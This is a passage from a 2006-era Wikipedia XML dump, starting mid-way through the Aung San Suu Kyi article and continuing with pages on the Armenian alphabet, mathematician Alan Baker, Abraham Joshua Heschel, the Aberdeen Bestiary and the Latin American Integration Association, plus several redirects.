Aung San Suu Kyi is the daughter of [[Khin Kyi]], a prominent Burmese diplomat, and General [[Aung San]], who negotiated Burma's independence from the [[United Kingdom]] in 1947 and was [[assassination|assassinated]] by rivals in the same year. She studied at [[University of Oxford|Oxford]] in the United Kingdom and at the [[School of Oriental and African Studies]], [[University of London]]. While in [[England]], Aung San Suu Kyi met and married [[Michael Aris]], a scholar of [[Tibet]]an culture. They had two sons, Alexander and Kim.

Aung San Suu Kyi returned to Myanmar in 1988 to care for her ailing mother. In that year, the long-time leader of the [[socialist]] ruling party, General [[Ne Win]], stepped down, leading to mass demonstrations for [[democracy|democratisation]], which were violently suppressed. A new military [[junta]] took power. 

Heavily influenced by [[Mahatma Gandhi]]'s philosophy of nonviolence, Aung San Suu Kyi entered politics to work for democratisation, helped found the [[National League for Democracy]] on [[September 27]], [[1988]], and was put under [[house arrest]] in 1989. She was offered freedom if she would leave the country, but she refused.

==Detention in Myanmar==

In 1990, the military junta called [[general election]]s, which the National League for Democracy won decisively. Under normal circumstances, she would have assumed the office of [[Prime Minister]]. Instead the results were nullified, and the military refused to hand over power. This resulted in an international outcry and partly led to Aung San Suu Kyi winning the Sakharov Prize that year and the Nobel Peace Prize in the following one. She used the Nobel Peace Prize's [[US$]]1.3 million prize money to establish a [[health]] and [[education]] trust for the Burmese people. 

She was released from house arrest in July 1995, although it was made clear that if she left the country to visit her family in the [[United Kingdom]], she would be denied re-entry. When her husband Michael Aris, a British citizen, was diagnosed with [[prostate cancer]] in 1997, the Burmese government denied him an entry visa. Aung San Suu Kyi remained in Burma, and never again saw her husband, who died in March 1999. She remains separated from their children, who remain in the United Kingdom.

She was repeatedly prevented from meeting with her party supporters, and in September 2000 was again put under house arrest. On [[May 6]], [[2002]], following secret confidence-building negotiations led by the [[United Nations]], she was released; a government spokesman said that she was free to move &quot;because we are confident that we can trust each other&quot;. Aung San Suu Kyi proclaimed &quot;a new dawn for the country&quot;. However on [[May 30]], [[2003]], her caravan was attacked in the northern village of [[Depayin]] by a government-sponsored mob, murdering and wounding many of her supporters. Aung San Suu Kyi fled the scene with the help of her driver, Ko Kyaw Soe Lin, but was arrested upon reaching Ye-U.  She was imprisoned at Insein Prison in Yangon. After a surgical operation in [[September]] [[2003]], she was again placed under house arrest in Yangon.

On [[November 28]], [[2005]], the National League for Democracy confirmed that Suu Kyi's house arrest would be extended for yet another year. Many western countries, as well as the [[United Nations]], have expressed their disapproval of this latest extension.

===International supporters===

In 2001, Irish rock band [[U2]] released the single ''[[Walk On (song)|Walk On]]'', which was written about and dedicated to Aung San Suu Kyi. &quot;Walk On&quot; was banned by the junta. During concerts in [[London]] and [[Glasgow]] ([[June 19]] and [[June 21]] 2005 respectively) U2 dedicated performances of &quot;Running to Stand Still&quot; to Aung San Suu Kyi. Other artists such as [[Coldplay]], [[R.E.M. (band)|R.E.M.]], and [[Damien Rice]] have also been publicly supportive of Aung San Suu Kyi's cause.

On [[December 2]], [[2004]], the [[United States]] pressured the Myanmar government to release Aung San Suu Kyi after the announcement that her [[house arrest]] would be extended. [http://news.bbc.co.uk/2/hi/asia-pacific/4064211.stm (BBC)]

On [[June 17]], [[2005]], several countries from around the world held protests outside Myanmar embassies, in recognition of Suu Kyi's 60th birthday, which took place on June 19, 2005. The protests received international attention. 

In late November 2005, the [[United States]] again returned to diplomatic pressure, this time in the [[United Nations]] [[Security Council]], strongly urging multilateral action to address the &quot;deteriorating situation&quot; in [[Myanmar]], requesting to put it into the official agenda docket. This action was due largely to a reinstatement of Aung San Suu Kyi's [[house arrest]], an extension of precisely one year.

She is featured prominently in [[John Boorman]]'s [[1995]] film ''[[Beyond Rangoon]]'', starring [[Patricia Arquette]].

Aung San Suu Kyi has been an honourary board member of [[Institute_for_Democracy_and_Electoral_Assistance|International IDEA]] and [[ARTICLE 19]] since her detention, and has received support from these organisations.

==External links==
{{wikiquote}}
*[http://www.burmacampaign.org.uk The Burma Campaign UK Home Page]
*[http://www.commondreams.org/headlines05/1213-08.htm Myanmar Agrees to Release Aung San Suu Kyi: Source]
* [http://www.washingtonpost.com/ac2/wp-dyn?pagename=article&amp;contentId=A18107-2003Oct12&amp;notFound=true An extensive story of her life]
* [http://www.sundayherald.com/50329 Sunday Herald article about her ongoing detention]
* [http://www.nobel.se/peace/laureates/1991/press.html Nobel Prize press release]
* [http://www.dassk.com/ Aung San Suu Kyi Pages] made by supporters from the [[Free Burma Coalition]]
* [http://www.nytimes.com/2002/05/07/international/asia/07BURM.html &quot;Freed Burmese Democracy Leader Proclaims 'New Dawn'&quot;] by Seth Mydans, for [[The New York Times]], May 7 2002, A3 (only abstract available)
* [http://homepages.tesco.net/~ghoutman/index.html On the role of Buddhist meditation and contemplation in Aung San Suu Kyi's politics]
* [http://www.ifex.org/en/content/view/full/201/ Nobel Laureates Call for Suu Kyi's Release] - [[IFEX]]
* [http://www.actionburma.com/ Damien Rice's page] promoting his effort to have Aung San Suu Kyi released and also promoting the CD single ''Unplayed Piano'' by Rice and fellow singer Lisa Hannigan
* [http://www.article19.org/advocacy/campaigns/index.html ARTICLE 19 Campaign for Aung San Suu Kyi]

{{start box}}
{{succession box | before = [[Mikhail Gorbachev]] | title = [[List of Nobel laureates#Peace|Nobel Peace Prize]] | years =1991 | after = [[Rigoberta Menchú]]}}
{{end box}}

[[Category:1945 births]]
[[Category:Living people]]
[[Category:Nobel Peace Prize winners]]
[[Category:Political prisoners]]
[[Category:Burmese politicians]]
[[Category:Buddhists]]
[[Category:Civil rights activists]]
[[Category:Democracy activists]]
[[Category:Former students of St Hugh's College, Oxford]]
[[Category:Alumni of the School of Oriental and African Studies]]
[[Category:Recipients of the Sakharov Prize]]
[[Category:Humanitarians]]

[[bg:Аун Сан Су Чи]]
[[zh-min-nan:Aung San Suu Kyi]]
[[cs:Aung San Suu Kyi]]
[[da:Daw Aung San Suu Kyi]]
[[de:Aung San Suu Kyi]]
[[et:Aung San Suu Kyi]]
[[es:Aung San Suu Kyi]]
[[fr:Aung San Suu Kyi]]
[[id:Aung San Suu Kyi]]
[[he:אונג סן סו קי]]
[[ka:აუნგ სან სუ კი]]
[[nl:Aung San Suu Kyi]]
[[ja:アウン・サン・スー・チー]]
[[no:Aung San Suu Kyi]]
[[nn:Aung San Suu Kyi]]
[[pl:Aung San Suu Kyi]]
[[pt:Aung San Suu Kyi]]
[[ro:Aung San Suu Kyi]]
[[ru:Аун Сан Су Чжи]]
[[sk:Aung San Suu Kyi]]
[[fi:Aung San Suu Kyi]]
[[sv:Aung San Suu Kyi]]
[[th:ออง ซาน ซูจี]]
[[zh:昂山素季]]</text>
    </revision>
  </page>
  <page>
    <title>Armeninan alphabet</title>
    <id>2848</id>
    <revision>
      <id>15901233</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Armenian alphabet]]
</text>
    </revision>
  </page>
  <page>
    <title>Armenian alphabet</title>
    <id>2849</id>
    <revision>
      <id>41861831</id>
      <timestamp>2006-03-02T05:18:04Z</timestamp>
      <contributor>
        <ip>83.217.229.148</ip>
      </contributor>
      <text xml:space="preserve">{{alphabet}}

The '''Armenian alphabet''' is an [[alphabet]] used for writing the [[Armenian language]], created by Saint [[Mesrop Mashtots]] in AD [[405]]. 

The Armenian alphabet is one of six European alphabetic scripts identified in the [[Unicode]] standard (see [http://www.unicode.org/charts/ Unicode Code Charts] and [http://www.unicode.org/versions/Unicode4.0.0/ch07.pdf Unicode Standard, Chapter 7]).

Various scripts have been credited with being the prototype for the Armenian alphabet, including [[Pahlavi]], [[Syriac alphabet|Syriac]], and [[Phoenician alphabet|Phoenician]]. However, the order of the letters, the use of the [[Digraph (orthography)|digraph]] ''ou'' for the vowel {{IPA|[u]}}, and a noticeable similarity of letter forms to cursive Greek suggests that it was likely based on the [[Greek alphabet]]. 

As Bedross Der Matossian from [[Columbia University]] informs, for about 250 years, from the early [[18th century]] until around [[1950]], more than 2000 books were printed in the [[Turkish language]] using letters of the Armenian alphabet. Not only Armenians read Armeno-Turkish, but also the non-Armenian (including the [[Ottoman Empire|Ottoman]] Turkish) elite.

[[Image:Matenadaran Armenian alphabet.jpg|thumb|left|200px|Armenian alphabet in Matenadaran]]

Armenian has two different dialects: Eastern and Western. Both use the same alphabet, however some of the letters have different names and pronunciations. For example, the second letter in Eastern Armenian is &quot;ben&quot; and makes a 'b' sound while in Western Armenian, the second letter is &quot;pen&quot; and makes a 'p' sound.  


{| class=&quot;wikitable&quot;
|+'''Alphabet:'''
! !! Name Eastern/Western !! [[Lowercase]] !! [[Uppercase]] !! [[Transliteration Eastern/Western]] !! num. Value
|- align=&quot;center&quot;
| 1 || Ayb/Ayp || {{Hayeren|ա}} || {{Hayeren|Ա}} || a || 1
|- align=&quot;center&quot;
| 2 || Ben/Pen || {{Hayeren|բ}} || {{Hayeren|Բ}} || b/p || 2
|- align=&quot;center&quot;
| 3 || Gim/Keem || {{Hayeren|գ}} || {{Hayeren|Գ}} || g/k || 3
|- align=&quot;center&quot;
| 4 || Da/Ta || {{Hayeren|դ}} || {{Hayeren|Դ}} || d/t || 4
|- align=&quot;center&quot;
| 5 || Yech` || {{Hayeren|ե}} || {{Hayeren|Ե}} || ye/ye || 5
|- align=&quot;center&quot;
| 6 || Za || {{Hayeren|զ}} || {{Hayeren|Զ}} || z || 6
|- align=&quot;center&quot;
| 7 || Eh || {{Hayeren|է}} || {{Hayeren|Է}} || ē/eh || 7
|- align=&quot;center&quot;
| 8 || Ët`/Ut || {{Hayeren|ը}} || {{Hayeren|Ը}} || ə/ut || 8
|- align=&quot;center&quot;
| 9 || T`o/Toh || {{Hayeren|թ}} || {{Hayeren|Թ}} || t&amp;#x1ffe;/t || 9
|- align=&quot;center&quot;
| 10 || Zhe || {{Hayeren|ժ}} || {{Hayeren|Ժ}} || ž/zh (as in azure) || 10
|- align=&quot;center&quot;
| 11 || Ini/Eenee || {{Hayeren|ի}} || {{Hayeren|Ի}} || i/i or e || 20
|- align=&quot;center&quot;
| 12 || Liun || {{Hayeren|լ}} || {{Hayeren|Լ}} || l || 30
|- align=&quot;center&quot;
| 13 || Xeh/Kheh (aspirated) || {{Hayeren|խ}} || {{Hayeren|Խ}} || x/kh || 40
|- align=&quot;center&quot;
| 14 || C'a/Dzah || {{Hayeren|ծ}} || {{Hayeren|Ծ}} || tz/dz || 50
|- align=&quot;center&quot;
| 15 || Ken/Gen (hard g) || {{Hayeren|կ}} || {{Hayeren|Կ}} || k/g || 60
|- align=&quot;center&quot;
| 16 || Ho || {{Hayeren|հ}} || {{Hayeren|Հ}} || h || 70
|- align=&quot;center&quot;
| 17 || Dz'a/Tsah || {{Hayeren|ձ}} || {{Hayeren|Ձ}} || dz/ts || 80
|- align=&quot;center&quot;
| 18 || Ghat/Ghad (French r) || {{Hayeren|ղ}} || {{Hayeren|Ղ}} || ł/gh (French r) || 90
|- align=&quot;center&quot;
| 19 || Cheh/Djeh || {{Hayeren|ճ}} || {{Hayeren|Ճ}} || č/j || 100
|- align=&quot;center&quot;
| 20 || Men || {{Hayeren|մ}} || {{Hayeren|Մ}} || m || 200
|- align=&quot;center&quot;
| 21 || Yi/Hee || {{Hayeren|յ}} || {{Hayeren|Յ}} || y/h or combined with other letters || 300
|- align=&quot;center&quot;
| 22 || Nu || {{Hayeren|ն}} || {{Hayeren|Ն}} || n || 400
|- align=&quot;center&quot;
| 23 || Sha || {{Hayeren|շ}} || {{Hayeren|Շ}} || sh/sh || 500
|- align=&quot;center&quot;
| 24 || Vo || {{Hayeren|ո}} || {{Hayeren|Ո}} || vo/vo or o || 600
|- align=&quot;center&quot;
| 25 || Ch`a || {{Hayeren|չ}} || {{Hayeren|Չ}} || ch/ch || 700
|- align=&quot;center&quot;
| 26 || Peh/Beh || {{Hayeren|պ}} || {{Hayeren|Պ}} || p/b || 800
|- align=&quot;center&quot;
| 27 || Jheh/Cheh || {{Hayeren|ջ}} || {{Hayeren|Ջ}} || j/ch || 900
|- align=&quot;center&quot;
| 28 || Rra (rolled) || {{Hayeren|ռ}} || {{Hayeren|Ռ}} || rr/ r (rolled) || 1000
|- align=&quot;center&quot;
| 29 || Seh || {{Hayeren|ս}} || {{Hayeren|Ս}} || s || 2000
|- align=&quot;center&quot;
| 30 || Vew/Vev || {{Hayeren|վ}} || {{Hayeren|Վ}} || v || 3000
|- align=&quot;center&quot;
| 31 || Tiun/Deoon || {{Hayeren|տ}} || {{Hayeren|Տ}} || t/d || 4000
|- align=&quot;center&quot;
| 32 || Reh || {{Hayeren|ր}} || {{Hayeren|Ր}} || r || 5000
|- align=&quot;center&quot;
| 33 || C`o/Tzoh  || {{Hayeren|ց}} || {{Hayeren|Ց}} || č/tz || 6000
|- align=&quot;center&quot;
| 34 || Hiun/hyun || {{Hayeren|ւ}} || {{Hayeren|Ւ}} || w/v or combined with other letters || 7000
|- align=&quot;center&quot;
| 35 || P`iur/Pure || {{Hayeren|փ}} || {{Hayeren|Փ}} || p&amp;#x1ffe;/p || 8000
|- align=&quot;center&quot;
| 36 || K`eh/Keh || {{Hayeren|ք}} || {{Hayeren|Ք}} || q/k || 9000
|- align=&quot;center&quot;
| 37 || Oh || {{Hayeren|օ}} || {{Hayeren|Օ}} || ō/o || 10000
|- align=&quot;center&quot;
| 38 || Feh || {{Hayeren|ֆ}} || {{Hayeren|Ֆ}} || f || 20000
|}

&lt;!-- the following should probably NOT be a table, since basically it is 3 lists merged together --&gt;

{| class=&quot;wikitable&quot;
|+'''Modifiers and punctuation:'''
|-
! Name !! Character
|-
| Small Ligature Ech` Wiwn (functions as an ampersand)
| {{Hayeren|և}}
|-
! colspan=&quot;2&quot; | Modifier letters
|-
| Modifier Letter Left Half Ring || {{Hayeren|ՙ}}
|-
| Apostrophe = Armenian Modifier Letter Right Half Ring
| {{Hayeren|՚}}
|-
| Modifier Emphasis Mark = Shesht || {{Hayeren|՛}}
|-
! colspan=&quot;2&quot; | Punctuation
|-
| Exclamation Mark = Bac`aganch`akan Nshan
| {{Hayeren|՜}}
|-
| Comma = Bowt` || {{Hayeren|՝}}
|-
| Question Mark = Harc`akan Nshan || {{Hayeren|՞}}
|-
| Abbreviation Mark = Patiw || {{Hayeren|՟}}
|-
| Full Stop = Verjhaket || {{Hayeren|։}}
|-
| Hyphen = Ent`amnay || {{Hayeren|֊}}
|}

==See also==
*[[Armenian language]]
*[[ISO 9985]]

==External links==
* [http://www.theiling.de/schrift/#armenian theiling.de]: Learn the Armenian alphabet online
* [http://www.stnersess.edu/currentEvents/pressRelease/pr.php?id=116 stnersess.edu]: Bedross Der Matossian on the use of Armeno-Turkish
Unicode Support for Armenian
* [http://www.unicode.org/charts/PDF/U0530.pdf Unicode Character Code Chart for Armenian]

[[Category:Alphabetic writing systems]]
[[Category:Armenian alphabet]]
[[Category:Monolingual writing systems]]

[[br:Lizherenneg an armenieg]]
[[cs:Arménské písmo]]
[[de:Armenische Schrift]]
[[es:Alfabeto armenio]]
[[fa:الفبای ارمنی]]
[[fr:Alphabet arménien]]
[[gl:Alfabeto armenio]]
[[lv:Armēņu alfabēts]]
[[nl:Armeens alfabet]]
[[ja:アルメニア文字]]
[[ru:Армянский алфавит]]
[[sl:Armenska abeceda]]</text>
    </revision>
  </page>
  <page>
    <title>Alan Baker</title>
    <id>2850</id>
    <revision>
      <id>38188330</id>
      <timestamp>2006-02-04T20:26:49Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Alan Baker''' (born on [[August 19]] [[1939]]) is an [[England|English]] [[mathematician]]. He was born in [[London]]. He is known for his work on effective methods in [[number theory]], in particular those arising from [[transcendence theory]]. He was awarded the [[Fields Medal]] in [[1970]], at age 31. His academic career started as a student of [[Harold Davenport]], at University College London and later at Cambridge. He is a fellow of [[Trinity College, Cambridge]].

His interests are: 

# [[Number theory]], 
# [[Transcendence]], 
# [[Logarithmic form]]s, 
# [[Effective results in number theory|Effective methods]], 
# [[Diophantine geometry]], 
# [[Diophantine analysis]].

His students include [[John Coates]], [[David Masser]], [[Roger Heath-Brown]], and [[Cameron Stewart]].

==External links==
* {{MacTutor Biography|id=Baker_Alan}}


{{Fields medalists}}

[[Category:1939 births|Baker, Alan]]
[[Category:Living people|Baker, Alan]]
[[Category:English mathematicians|Baker, Alan]]
[[Category:20th century mathematicians|Baker, Alan]]
[[Category:Number theorists|Baker, Alan]]

[[fr:Alan Baker]]
[[ko:앨런 베이커]]
[[pl:Alan Baker]]
[[sl:Alan Baker]]</text>
    </revision>
  </page>
  <page>
    <title>Abraham Joshua Heschel</title>
    <id>2851</id>
    <revision>
      <id>40360168</id>
      <timestamp>2006-02-20T01:24:31Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">Rabbi '''Abraham Joshua Heschel''' ([[January 11]], [[1907]], [[Warsaw]], [[Poland]] &amp;ndash; [[December 23]], [[1972]]) was considered by many to be one of the most significant [[Jew]]ish theologians of the 20th century.

Heschel was a descendant of preeminent [[rabbi]]nic families of [[Europe]], both on his father's (Moshe Mordechai Heschel, who died of influenza in 1916) and mother's (Reizel Perlow Heschel) side.  He was the youngest of six children including his siblings: Sarah, Dvora Miriam, Esther Sima, Gittel, and Jacob. In his teens he received a traditional [[yeshiva]] education, and obtained traditional [[semicha]], rabbinical ordination. He then studied at the [[University of Berlin]], where he obtained his doctorate, and at the [[Hochschule für die Wissenschaft des Judentums]], where he earned a second liberal rabbinic ordination.

Heschel's teachers included some of the best German-Jewish teachers: [[Chanoch Albeck]], [[Ismar Elbogen]], [[Julius Guttmann]], and [[Leo Baeck]]. He later taught the [[Talmud]] there. Escaping from the Nazis, he found refuge both in [[England]] and [[United States|America]], where he briefly served on the faculty of [[Hebrew Union College]] (HUC), the main seminary of [[Reform Judaism]], in [[Cincinnati, Ohio|Cincinnati]].

Increasingly uncomfortable with the lack of observance of [[halakha|Jewish law]] at HUC, Heschel sought an academic institution where critical, modern scholarship of the Bible was allowed, and yet also held that Jewish law was normative. He found such a place in [[1946]] when he came to the [[Jewish Theological Seminary of America]] (JTS), the main seminary of [[Conservative Judaism]]. He accepted a position there as Professor of Jewish Ethics and [[Kabbalah|Mysticism]], where he served until his death in [[1972]].

Heschel explicated many facets of Jewish thought including studies on medieval Jewish [[philosophy]], [[Kabbalah]], and [[Hasidism]]. He has a special interest in the prophets, and in the proper way for Jews to incorporate religion into their lives. His books contain civil but pointed rejoinders towards those in [[Reform Judaism]] who no longer held that Jewish law was normative, and also towards those in [[Orthodox Judaism]], who Heschel held valued [[legalism]] over the spirit of the law.

Heschel did not fully fit in JTS either, however. He was more interested in spirituality than critical text study, which was a specialty of scholars at JTS. A similar disconnect between him and much of JTS faculty were due to his views on the Hebrew prophets and social justice. Heschel saw the teachings of the Hebrew prophets as a clarion call for social action in the United States, but his social activism was at the time dismissed as unimportant by most JTS faculty. They saw their job as academics and educators, and left the role of social activism to pulpit rabbis and laypeople. In later years there would be a sea change in how JTS faculty viewed this position; today most JTS faculty are more involved in social activism, and some have written that it was a mistake for JTS not to follow Heschel's lead at that time.

Heschel was particularly looked down upon by his colleague [[Mordechai Kaplan]], founder of [[Reconstructionist Judaism]], and many students who attended JTS in the [[1950s|50s]] sympathized with Kaplan over Heschel.

He married [[Sylvia Straus]] on [[December 10]], [[1946]], in [[Los Angeles]]. They had a daughter named Susannah. [[Susannah Heschel]] eventually became a scholar of Judaism in her own right.

Heschel was also known as an activist for [[civil rights]] in the USA, and an activist for freedom for [[History of the Jews in Russia and the Soviet Union|Soviet Jewry]]. He is one of the few Jewish theologians widely read by Christians. His most influential works include ''Man is Not Alone'', ''God in Search of Man'', ''The Sabbath'', and ''The Prophets''.

His life's work has inspired three namesake schools: one on the [[Upper West Side]] of [[New York City]], one in [[Northridge, California]], and one in [[Toronto]].

==Works==

===''The Prophets''===
This work started out as his Ph.D. thesis in German, which he later expanded and translated into English. Originally published in a two-volume edition, this work studies the books of the Hebrew prophets. It covers their life, the historical context that their missions were set in, summarizes their work, and discusses their psychological state. Heschel gives a detailed treatment of the entire phenomenon of prophecy, what it is, and what it means.

===''The Sabbath''===
''The Sabbath: Its Meaning For Modern Man'' is a work on the nature and celebration of [[Shabbat]], the Jewish Sabbath. This work is rooted in the thesis that Judaism is a religion of time, not space, and that the Sabbath symbolizes the sanctification of time.

===''Man is Not Alone''===
''Man Is Not Alone: A Philosophy of Religion'' offers Heschel's views on how man can apprehend God. Judaism views God as being radically different than man, so Heschel explores the ways that Judaism teaches that a person may have an encounter with the ineffable. A recurring theme in this work is the radical amazement that man experiences when experiencing the presence of the Divine. Heschel then goes to explore the problems of doubts and faith; what Judaism means by teaching that God is one; the essence of man and the problem of man's needs; the definition of religion in general and of Judaism in particular; and man's yearning for spirituality. He offers his views as to Judaism being a pattern for life.

===''God in Search of Man''===
''God in Search of Man: A Philosophy of Judaism'' is a companion volume to ''Man is Not Alone''. In this book Heschel discusses the nature of religious thought, how thought becomes faith, and how faith creates responses in the believer. He discusses ways that man can seek God's presence, and the radical amazement that man receives in return. He offers a criticism of nature worship; a study of man's metaphysical loneliness, and his view that we can consider God to be in search of man. The first section concludes with a study of [[Jews as a chosen people]]. Section two deals with the idea of [[revelation]], and what it means for one to be a prophet. This section gives us his idea of revelation as a process, as opposed to an event. This relates to Israel's commitment to God.  Section three discusses his views of how a Jew should understand the nature of Judaism as a religion. He discusses and rejects the idea that mere faith (without law) alone is enough, but then cautions against rabbis he sees as adding too many restrictions to Jewish law. He discusses the need to correlate ritual observance with spirituality and love, the importance of Kavvanah (intention) when performing mitzvot. He engages in a discussion of religious behaviorism &amp;mdash; when people strive for external compliance with the law, yet disregard the importance of inner devotion.

===''Prophetic Inspiration After the Prophets''===
Heschel wrote a series of articles, originally in Hebrew, on the existence of prophecy in Judaism after the destruction of the Holy [[Temple in Jerusalem]] in [[70]] CE. These essays were translated into English and published as ''Prophetic Inspiration After the Prophets: Maimonides and Others'' by the American Judaica publisher [[Ktav]].

The publisher of this book states, &quot;The standard Jewish view is that prophecy ended with the ancient prophets, somewhere early in the Second Temple era. Heschel demonstrated that this view is not altogether accurate. Belief in the possibility of continued prophetic inspiration, and in its actual occurrence appear throughout much of the medieval period, and even in modern times. Heschel's work on prophetic inspiration in the Middle Ages originally appeared in two Hebrew long articles. In them he concentrated on the idea that prophetic inspiration was possible even in post-Talmudic times, and, indeed, had taken place at various times and in various schools, from the Geonim to Maimonides and beyond.&quot;

===''Torah min HaShamayim'' (Heavenly Torah)===
Many consider Heschel's ''Torah min HaShamayim BeAsafklariah shel HaDorot'', (''Torah from Heaven in the light of the generations'') to be his masterwork.  The three volumes of this work are a study of classical rabbinic theology and aggadah, as opposed to halakha (Jewish law.)  It explores the views of the rabbis in the Mishnah, Talmud and Midrash about the nature of Torah, the revelation of God to mankind, prophecy, and the ways that Jews have used scriptural exegesis to expand and understand these core Jewish texts. In this work Heschel views the second century sages Rabbis Akiva and Ishmael as paradigms for the two dominant worldviews in Jewish theology.

Two Hebrew volumes were published during his lifetime by [[Soncino Press]], and the third Hebrew volume was published post-homously by JTS Press in the 1990s. An English translation of all three volumes, with notes, essays and appendices, was translated and edited by Rabbi [[Gordon Tucker]], entitled ''Heavenly Torah: As Refracted Through the Generations''.

==Quotes==
*&quot;All it takes is one person… and another… and another… and another… to start a movement&quot;
*&quot;Wonder rather than doubt is the root of all knowledge.&quot; 
*&quot;A religious man is a person who holds God and man in one thought at one time, at all times, who suffers harm done to others, whose greatest passion is compassion, whose greatest strength is love and defiance of despair.&quot;
*&quot;God is of no importance unless He is of ''utmost'' importance.&quot;
*&quot;Just to be is a blessing. Just to live is holy.&quot;
*&quot;Self-respect is the fruit of discipline, the sense of dignity grows with the ability to say no to oneself.&quot;
*&quot;Life without commitment is not worth living.&quot;

==Selected bibliography==
* ''Man Is Not Alone: A Philosophy of Religion'', 1951, ISBN 0374513287
* ''God in Search of Man: A Philosophy of Judaism'', 1955, ISBN 0374513317
* ''The Prophets'', 1962, ISBN 0060936991
* ''Who Is Man?'', 1965
* ''Israel: An Echo of Eternity'', 1969, ISBN 1879045702 
* ''A Passion for Truth'', 1973, ISBN 1879045419 
* ''Heavenly Torah: As Refracted Through the Generations'', 2005, ISBN 0826408028 
* ''Torah min ha-shamayim b'ispaqlari'a shel ha-dorot; Theology of Ancient Judaism'' [Hebrew]. London: Soncino Press
* ''The Ineffable Name of God: Man: Poems'', 2004, ISBN 0826416322

==External links==
*[http://learn.jtsa.edu/topics/reading/bookexc/gillman_conservativej/chap5/part5.shtml Jewish Theological Seminary of America article on Heschel]


[[Category:1907 births|Heschel, Abraham Joshua]]
[[Category:1972 deaths|Heschel, Abraham Joshua]]
[[Category:Conservative rabbis|Heschel, Abraham Joshua]]
[[Category:German philosophers|Heschel, Abraham Joshua]]
[[Category:Philosophers of Judaism|Heschel, Abraham Joshua]]
[[Category:Panentheists|Heschel, Abraham Joshua]]
[[Category:Process theologians|Heschel, Abraham Joshua]]

[[he:אברהם יהושע השל]]</text>
    </revision>
  </page>
  <page>
    <title>Aberdeen Bestiary</title>
    <id>2853</id>
    <revision>
      <id>41848983</id>
      <timestamp>2006-03-02T03:21:48Z</timestamp>
      <contributor>
        <username>BDAbramson</username>
        <id>196446</id>
      </contributor>
      <minor />
      <comment>moved the article back to original title using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:AberdeenBestiaryFol56rPhoenix.jpg|thumb|200px|Folio 56r of the Aberdeen Bestiary has a miniature of the [[Phoenix (mythology)|Phoenix]].]]

'''Aberdeen Bestiary''' (Aberdeen University Library MS 24) is a [[12th century]] [[bestiary]] that was first listed in [[1542]] in the inventory of the [[Old Royal Library]] at the [[Palace of Westminster]]. 

Information about its origins and patron are circumstantial. It probably comes from the [[12th century]] and was owned by an ecclesiastical patron of the north or south province. The Aberdeen Bestiary is related to other bestiaries of the [[Middle Ages]] and especially the [[Ashmole Bestiary]]. Some even argue that the Aberdeen Bestiary might be the older of the two.

==See also== 
*[[The Physiologus]].

== External links ==
* [http://www.abdn.ac.uk:/bestiary Online version of the bestiary]

{{Commons|Category:Aberdeen Bestiary}}

{{art-stub}}
{{book-stub}}
[[Category:Illuminated manuscripts]]
[[he:&amp;#1505;&amp;#1508;&amp;#1512; &amp;#1492;&amp;#1495;&amp;#1497;&amp;#1493;&amp;#1514; &amp;#1513;&amp;#1500; &amp;#1488;&amp;#1489;&amp;#1512;&amp;#1491;&amp;#1497;&amp;#1503;]]</text>
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  </page>
  <page>
    <title>Arts and Crafts</title>
    <id>2854</id>
    <revision>
      <id>15901238</id>
      <timestamp>2002-06-17T20:25:09Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>moving</comment>
      <text xml:space="preserve">#REDIRECT [[Arts and crafts]]</text>
    </revision>
  </page>
  <page>
    <title>ALADI</title>
    <id>2855</id>
    <revision>
      <id>31055103</id>
      <timestamp>2005-12-12T15:19:32Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Asociación Latinoamericana de Integración&quot; +&quot;Latin American Integration Association&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Latin American Integration Association]]</text>
    </revision>
  </page>
  <page>
    <title>Latin American Integration Association</title>
    <id>2856</id>
    <revision>
      <id>40360119</id>
      <timestamp>2006-02-20T01:24:11Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''Asociación Latinoamericana de Integración''' (the '''Latin American Integration Association'''; known as '''ALADI''' or, occasionally, by the English acronym '''LAIA''') is a [[Latin America]]n trade integration association, based in [[Montevideo]]. Its main objective is the establishment of a common market, in pursuit of the economic and social development of the region. Its members are [[Argentina]], [[Bolivia]], [[Brazil]], [[Cuba]], [[Chile]], [[Colombia]], [[Ecuador]], [[Mexico]], [[Paraguay]], [[Peru]], [[Uruguay]] and [[Venezuela]].

The [[1980 Montevideo Treaty]], signed on [[August 12]] [[1980]], is the global legal framework that establishes and governs ALADI. It sets the following general principles: pluralism, convergence, flexibility, differential treatment and multiplicity.

The ALADI promotes the creation of an area of economic preferences in the region, aiming at a Latin American common market, through three mechanisms:

*Regional tariff preference granted to products originating in the member countries, based on the tariffs in force for third countries
*Regional scope agreement, among member countries
*Partial scope agreements, between two or more countries of the area

Either regional or partial scope agreements may cover tariff relief and trade promotion; economic complementation; agricultural trade; financial, fiscal, customs and health cooperation; environmental conservation; scientific and technological cooperation; tourism promotion; technical standards and many other fields.

As the Montevideo Treaty is a &quot;framework treaty&quot;, by subscribing to it, the governments of the member countries authorize their representatives to legislate through agreements on the economic issues of greatest importance to each country.

A system of preferences &amp;mdash; which consists of market opening lists, special cooperation programs (business rounds, preinvestment, financing, technological support) and countervailing measures on behalf of the landlocked countries &amp;mdash; has been granted to the countries deemed to be less developed (Bolivia, Ecuador and Paraguay), to favour their full participation in the integration process.

Any Latin-American country can join the 1980 Montevideo Treaty. [[Cuba]] was the last to accede, becoming a full member on [[August 26]], [[1999]]. In addition, ALADI is also open to all Latin American countries through agreements with other countries and integration areas of the continent, as well as to other developing countries or their respective integration areas outside Latin America.

